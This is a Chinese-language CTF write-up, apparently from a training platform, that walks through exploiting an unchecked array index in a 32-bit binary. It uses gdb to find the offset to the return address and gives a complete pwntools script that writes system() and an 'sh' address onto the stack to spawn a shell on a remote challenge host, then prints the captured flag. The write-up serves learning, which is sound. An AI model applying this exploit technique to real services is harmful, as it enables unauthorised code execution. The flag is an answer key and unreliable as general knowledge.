拖进32位ida
大致分析一波,这个程序就是你可以往这里面存一些数字,然后选择展示数字,增加数字等操作,这题我又学到了一个新的较为隐蔽的漏洞:数组溢出
看这里,当我们选择3,add number选项时,虽然v13数组定义的是100个,但是对v5没有任何的检测,这样一来,我们就能修改任意一个数字,包括100个开外的数据,我们可以利用这一点,改变返回地址等参数
这里的hackhere是用不了的,但是这里又system函数,我们只要找到sh,然后传给system函数就可以了
下面我们就要找到v13的第一个参数存放的位置
这个var_88就是我们输入的第一个数,看到它最后被存放到了eax中存放的地址中去,我们就可以gdb调试,下断点在0x080486d5处,然后运行,看一下eax中此时存放的地址是什么
依次输入b *0x080486d5,r,1,1
eax中是0xffffcfc8
同理,看一下程序运行结束时的返回地址
esp指向栈顶,当程序运行结束,esp指向的就是返回地址了
这次就断在这里,0x080488f2
esp,0xffffd04c,减一下,0x84
代码如下
from pwn import *
def send_num(addr,num):
sh.sendlineafter("5. exit","3")
sh.sendlineafter("which number to change:",str(addr))
sh.sendlineafter("new number:",str(num))
sh=remote('111.198.29.45',39250)
sh.sendlineafter("How many numbers you have:","1")
sh.sendlineafter("Give me your numbers","1")
send_num(0x84,0x50)
send_num(0x85,0x84)
send_num(0x86,0x04)
send_num(0x87,0x08)
#注意这里是0x8c
send_num(0x8c,0x87)
send_num(0x8d,0x89)
send_num(0x8e,0x04)
send_num(0x8f,0x08)
sh.sendline("5")
sh.interactive()
我们向离第一个数字0x84处,即返回地址处,传入system函数的地址0x08048450,这里不需要考虑中间的四个字节,然后将地址为0x08048987的’sh’作为参数传给函数system
flag:cyberpeace{1ba810e17403a9004cd8a5997c5eb110}